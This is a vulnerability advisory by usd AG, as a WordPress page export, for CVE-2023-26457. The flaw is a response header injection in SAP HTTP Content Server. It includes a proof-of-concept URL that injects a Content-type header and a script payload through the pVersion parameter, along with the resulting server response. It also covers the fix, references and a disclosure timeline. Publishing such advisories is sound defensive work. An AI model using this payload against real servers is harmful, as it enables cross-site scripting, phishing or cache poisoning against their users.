{"id":20879,"date":"2023-09-26T13:06:35","date_gmt":"2023-09-26T11:06:35","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=20879"},"modified":"2023-09-26T13:32:25","modified_gmt":"2023-09-26T11:32:25","slug":"usd-2022-0046","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2022-0046\/","title":{"rendered":"usd-2022-0046"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.21.0\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.21.0\" _module_preset=\"default\" custom_padding=\"||13px|||\" global_colors_info=\"{}\"]<\/p>\n<h1>usd-2022-0046 | Response Header Injection in SAP HTTP Content Server<\/h1>\n<p><strong>Advisory ID<\/strong>: usd-2022-0046<br \/>\n<strong>Affected Product<\/strong>: SAP HTTP Content Server<br \/>\n<strong>Affected Version<\/strong>: Server Version 753 running Patch 1028, Build Version Auf 12 2022 (N)<br \/>\n<strong>Vulnerability Type<\/strong>: Improper Neutralization of HTTP Headers for Scripting Syntax (CWE-644)<br \/>\n<strong>Security Risk<\/strong>: HIGH<br \/>\n<strong>Vendor URL<\/strong>: <a href=\"\">https:\/\/www.sap.com\/germany\/index.html<\/a><br \/>\n<strong>Vendor acknowledged vulnerability<\/strong>: Yes<br \/>\n<strong>Vendor Status<\/strong>: Fixed - for more details see <a href=\"#references\">References<\/a> below<br \/>\n<strong>CVE Link<\/strong>: <a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2023-26457\" target=\"_blank\" rel=\"noopener\">CVE-2023-26457<\/a><\/p>\n<h2>Description<\/h2>\n<p>The SAP HTTP Content Server returns error messages in the header <strong>x-errordescription<\/strong> of the HTTP Response.<br \/>\nWhen invalid input is provided in a HTTP request, it is also placed in the error message inside this header.<br \/>\nDuring this process the input is URL-decoded, therefore for example <strong>%41<\/strong> is translated to <strong>A<\/strong> and <strong>%0a<\/strong> is translated to a newline.<\/p>\n<p>This enables an attacker to add new headers and change the content of the response.<\/p>\n<h3>Proof of Concept<\/h3>\n<p>The following URL provides an invalid value for the parameter <strong>pVersion<\/strong> which then is inserted in the <strong>x-errordescription<\/strong> header:<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #EFF\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span>[http:\/\/<span class=\"nt\" style=\"background: #263238;color: #FF5370\">&lt;IP&gt;<\/span>:1090\/sapcs?create<span class=\"err\" style=\"background: #263238;color: #FF5370\">&amp;<\/span>pVersion=%0aContent-type%3atext\/html%0a%0a<span class=\"nt\" style=\"background: #263238;color: #FF5370\">&lt;script&gt;<\/span>alert(\"usd%20AG\")<span class=\"nt\" style=\"background: #263238;color: #FF5370\">&lt;\/script&gt;<\/span>]()\n<\/pre>\n<\/div>\n<p>The part <strong>%0aContent-type%3atext\/html<\/strong> adds a new header to the response and sets the content type to <strong>text\/html<\/strong> instead of the original <strong>text\/plain<\/strong>.<br \/>\nThis causes browsers to interpret HTML tags in the response.<\/p>\n<p>The next part <strong>%0a%0aalert(\"usd%20AG\")<\/strong> ends the header section of the response and adds an JavaScript payload to the body of the response.<\/p>\n<p>The complete HTTP response to this URL is as follows:<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #EFF\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"kr\" style=\"background: #263238;color: #BB80B3\">HTTP<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">\/<\/span><span class=\"m\" style=\"background: #263238;color: #F78C6C\">1.1<\/span> <span class=\"m\" style=\"background: #263238;color: #F78C6C\">400<\/span> <span class=\"ne\" style=\"background: #263238;color: #FFCB6B\">Bad Request<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #BB80B3\">x-servertype<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #C3E88D\">SAP HTTP Content Server 7.53\/1028\/N<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #BB80B3\">x-errordescription<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #C3E88D\">Unsupported protocol version:<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #BB80B3\">content-type<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">:<\/span><span class=\"l\" style=\"background: #263238;color: #C3E88D\">text\/html<\/span>\n\n\n<span class=\"p\" style=\"background: #263238;color: #89DDFF\">&lt;<\/span><span class=\"nt\" style=\"background: #263238;color: #FF5370\">script<\/span><span class=\"p\" style=\"background: #263238;color: #89DDFF\">&gt;<\/span><span class=\"nx\" style=\"background: #263238;color: #EFF\">alert<\/span><span class=\"p\" style=\"background: #263238;color: #89DDFF\">(<\/span><span class=\"s2\" style=\"background: #263238;color: #C3E88D\">\"usd AG\"<\/span><span class=\"p\" style=\"background: #263238;color: #89DDFF\">)&lt;\/<\/span><span class=\"nt\" style=\"background: #263238;color: #FF5370\">script<\/span><span class=\"p\" style=\"background: #263238;color: #89DDFF\">&gt;<\/span>\nContent-type: text\/plain\nX-Query: create<span class=\"err\" style=\"background: #263238;color: #FF5370\">&amp;<\/span>pVersion=%0aContent-type%3atext\/html%0a%0a<span class=\"p\" style=\"background: #263238;color: #89DDFF\">&lt;<\/span><span class=\"nt\" style=\"background: #263238;color: #FF5370\">script<\/span><span class=\"p\" style=\"background: #263238;color: #89DDFF\">&gt;<\/span><span class=\"nx\" style=\"background: #263238;color: #EFF\">alert<\/span><span class=\"p\" style=\"background: #263238;color: #89DDFF\">(<\/span><span class=\"s2\" style=\"background: #263238;color: #C3E88D\">\"usd%20AG\"<\/span><span class=\"p\" style=\"background: #263238;color: #89DDFF\">)&lt;\/<\/span><span class=\"nt\" style=\"background: #263238;color: #FF5370\">script<\/span><span class=\"p\" style=\"background: #263238;color: #89DDFF\">&gt;<\/span>\nX-ServerDate: 2022-09-15\nX-ServerId: server=<span class=\"p\" style=\"background: #263238;color: #89DDFF\">&lt;<\/span><span class=\"nt\" style=\"background: #263238;color: #FF5370\">redacted<\/span><span class=\"p\" style=\"background: #263238;color: #89DDFF\">&gt;<\/span>\nContent-length: 452\nX-ServerTime: 12:53:46\nX-Status: 400\nX-pVersion:\nContent-type:text\/html\n\n<span class=\"p\" style=\"background: #263238;color: #89DDFF\">&lt;<\/span><span class=\"nt\" style=\"background: #263238;color: #FF5370\">script<\/span><span class=\"p\" style=\"background: #263238;color: #89DDFF\">&gt;<\/span><span class=\"nx\" style=\"background: #263238;color: #EFF\">alert<\/span><span class=\"p\" style=\"background: #263238;color: #89DDFF\">(<\/span><span class=\"s2\" style=\"background: #263238;color: #C3E88D\">\"usd AG\"<\/span><span class=\"p\" style=\"background: #263238;color: #89DDFF\">)&lt;\/<\/span><span class=\"nt\" style=\"background: #263238;color: #FF5370\">script<\/span><span class=\"p\" style=\"background: #263238;color: #89DDFF\">&gt;<\/span>\n\nX-ServerType: SAP HTTP Content Server 7.53\/1028\/N\nX-ErrorDescription: Unsupported protocol version:\nContent-type:text\/html\n\n<span class=\"p\" style=\"background: #263238;color: #89DDFF\">&lt;<\/span><span class=\"nt\" style=\"background: #263238;color: #FF5370\">script<\/span><span class=\"p\" style=\"background: #263238;color: #89DDFF\">&gt;<\/span><span class=\"nx\" style=\"background: #263238;color: #EFF\">alert<\/span><span class=\"p\" style=\"background: #263238;color: #89DDFF\">(<\/span><span class=\"s2\" style=\"background: #263238;color: #C3E88D\">\"usd AG\"<\/span><span class=\"p\" style=\"background: #263238;color: #89DDFF\">)&lt;\/<\/span><span class=\"nt\" style=\"background: #263238;color: #FF5370\">script<\/span><span class=\"p\" style=\"background: #263238;color: #89DDFF\">&gt;<\/span>\nX-Query: create<span class=\"err\" style=\"background: #263238;color: #FF5370\">&amp;<\/span>pVersion=%0aContent-type%3atext\/html%0a%0a<span class=\"p\" style=\"background: #263238;color: #89DDFF\">&lt;<\/span><span class=\"nt\" style=\"background: #263238;color: #FF5370\">script<\/span><span class=\"p\" style=\"background: #263238;color: #89DDFF\">&gt;<\/span><span class=\"nx\" style=\"background: #263238;color: #EFF\">alert<\/span><span class=\"p\" style=\"background: #263238;color: #89DDFF\">(<\/span><span class=\"s2\" style=\"background: #263238;color: #C3E88D\">\"usd%20AG\"<\/span><span class=\"p\" style=\"background: #263238;color: #89DDFF\">)&lt;\/<\/span><span class=\"nt\" style=\"background: #263238;color: #FF5370\">script<\/span><span class=\"p\" style=\"background: #263238;color: #89DDFF\">&gt;<\/span>\nX-ServerDate: 2022-09-15\nX-ServerId: server=<span class=\"p\" style=\"background: #263238;color: #89DDFF\">&lt;<\/span><span class=\"nt\" style=\"background: #263238;color: #FF5370\">redacted<\/span><span class=\"p\" style=\"background: #263238;color: #89DDFF\">&gt;<\/span>\nX-ServerTime: 12:53:46\nX-Status: 400\nX-pVersion:\nContent-type:text\/html\n\n<span class=\"p\" style=\"background: #263238;color: #89DDFF\">&lt;<\/span><span class=\"nt\" style=\"background: #263238;color: #FF5370\">script<\/span><span class=\"p\" style=\"background: #263238;color: #89DDFF\">&gt;<\/span><span class=\"nx\" style=\"background: #263238;color: #EFF\">alert<\/span><span class=\"p\" style=\"background: #263238;color: #89DDFF\">(<\/span><span class=\"s2\" style=\"background: #263238;color: #C3E88D\">\"usd AG\"<\/span><span class=\"p\" style=\"background: #263238;color: #89DDFF\">)&lt;\/<\/span><span class=\"nt\" style=\"background: #263238;color: #FF5370\">script<\/span><span class=\"p\" style=\"background: #263238;color: #89DDFF\">&gt;<\/span><br \/><\/pre>\n<\/div>\n<p>This Cross-Site-Scripting attack is only one possibility for exploiting the underlying vulnerability. Attackers could also use it to carry out <em>response splitting<\/em> or <em>cache poisoning<\/em> attacks, or to conduct a <em>phishing campaign<\/em>.<\/p>\n<h3>Fix<\/h3>\n<p>It is recommended to perform output validation in order to filter\/escape\/encode unsafe data that is being passed from the server in an HTTP response header.<br \/>\nFor details on SAP's fix see <a href=\"\">https:\/\/launchpad.support.sap.com\/#\/notes\/3281484.<\/a><\/p>\n<h3>References<\/h3>\n<p><a href=\"\">https:\/\/launchpad.support.sap.com\/#\/notes\/3281484<\/a><br \/>\n<a href=\"\">https:\/\/www.sap.com\/documents\/2022\/02089613a0-167e-0010-bca6-c68f7e60039b.html<\/a><br \/>\n<a href=\"\">https:\/\/cwe.mitre.org\/data\/definitions\/644.html<\/a><br \/>\n<a href=\"\">https:\/\/capec.mitre.org\/data\/definitions\/34.html<\/a><br \/>\n<a href=\"\">https:\/\/cwe.mitre.org\/data\/definitions\/113.html<\/a><\/p>\n<h3>Timeline<\/h3>\n<ul>\n<li><strong>2022-09-15<\/strong>: The vulnerability was identified by Nicolas Schickert.<\/li>\n<li><strong>2022-11-10<\/strong>: The responsible disclosure team sent the first contact request via <a href=\"\">https:\/\/www.sap.com\/about\/trust-center\/security\/incident-management.html<\/a> .<\/li>\n<li><strong>2023-02-14<\/strong>: SAP reports that vulnerability was addressed.<\/li>\n<li><strong>2023-03-14<\/strong>: Vendor notice and patch goes out to customers, the vulnerability can be disclosed after an appropriate grace-period has passed.<\/li>\n<li><strong>2023-09-25<\/strong>: Security advisory released by usd AG.<\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p>This security vulnerability was identified by Nicolas Schickert of usd AG.<\/p>\n<p>He has been <a href=\"https:\/\/www.sap.com\/documents\/2022\/02\/089613a0-167e-0010-bca6-c68f7e60039b.html\" target=\"_blank\" rel=\"noopener\">credited<\/a> by SAP for his research in June of 2023.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2022-0046 | Response Header Injection in SAP HTTP Content Server Advisory ID: usd-2022-0046 Affected Product: SAP HTTP Content Server Affected Version: Server Version 753 running Patch 1028, Build Version Auf 12 2022 (N) Vulnerability Type: Improper Neutralization of HTTP Headers for Scripting Syntax (CWE-644) Security Risk: HIGH Vendor URL: https:\/\/www.sap.com\/germany\/index.html Vendor acknowledged vulnerability: Yes Vendor [&hellip;]<\/p>\n","protected":false},"author":114,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-20879","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/20879","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/114"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=20879"}],"version-history":[{"count":5,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/20879\/revisions"}],"predecessor-version":[{"id":20920,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/20879\/revisions\/20920"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=20879"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}